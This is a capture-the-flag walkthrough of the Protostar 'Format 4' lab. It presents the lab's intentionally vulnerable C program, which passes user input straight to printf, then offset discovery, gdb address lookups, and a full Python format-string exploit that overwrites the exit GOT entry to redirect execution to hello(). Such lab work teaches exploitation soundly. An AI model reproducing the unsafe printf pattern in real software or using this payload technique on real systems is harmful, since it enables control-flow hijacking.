

Format 4 protostar

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Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
    printf("code execution redirected! you win\n");
    _exit(1);
}

void vuln()
{
    char buffer[512];

    fgets(buffer, sizeof(buffer), stdin);

    printf(buffer);

    exit(1);
}

int main(int argc, char **argv)
{
    vuln();
}
```

Find parameters

```
user@protostar:~/dev$ for i in {1..20}; do echo $i; echo $(python -c "print 'AAAA%i\$x'" | /opt/protostar/bin/format4; echo; done_
```

Lies at 4

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4
AAAA41414141
```

Address of exit plt

```
0x0804850f <vuln+61>:      Exit plt
                        call    0x080483ec <exit@plt>
```

Address of hello function

```
Dump of assembler code for function hello:
0x080484b4 <hello+0>:  push    ebp
```

Entry address for hello function

Objective: To overwrite exit@got with hello address

Exploit code

```
#!/usr/bin/python
import struct

def main():
    target_addr = 0x08049724 # 08049724 00000707 R_386_JUMP_SLOT 00000000 exit

    first_write = struct.pack("<I", target_addr)
    second_write = struct.pack("<I", target_addr + 1)
    third_write = struct.pack("<I", target_addr + 2)
    fourth_write = struct.pack("<I", target_addr + 3)

    hello_addr = 0x080484b4 # 0x080484b4 <hello+0>: push ebp

    # Parameters: 4
    # Target val: 0x080484b4
    payload = ""
    payload += first_write
    payload += second_write
    payload += third_write
    payload += fourth_write

    # 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x10101010
    # 0xb4 - 0x10 = 0xa4(164)
    payload += "%164x"
    payload += "%4$n"

    # 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x0000b4b4
    # 0x184 - 0xb4 = 0xd0(208)
    payload += "%208x"
    payload += "%5$n"

    # 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x018484b4
    # 0x104 - 0x84 = 0x80(128)
    payload += "%128x"
    payload += "%6$n"

    # 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x040484b4
    # 0x8 - 0x4 = 0x4 -> 4 A's for padding
    payload += "A" * 4
    payload += "%7$n"

    # To run:
    # (gdb) r < fmt4.py

    print payload

if __name__ == "__main__":
    main()
```

Overwriting successful

```
Breakpoint 1, vuln () at format4/format4.c:22
22      in format4/format4.c
(gdb) x/x 0x08049724 → exit@got
0x08049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080484b4
(gdb) c
Value overwritten with
hello()

code execution redirected! you win
```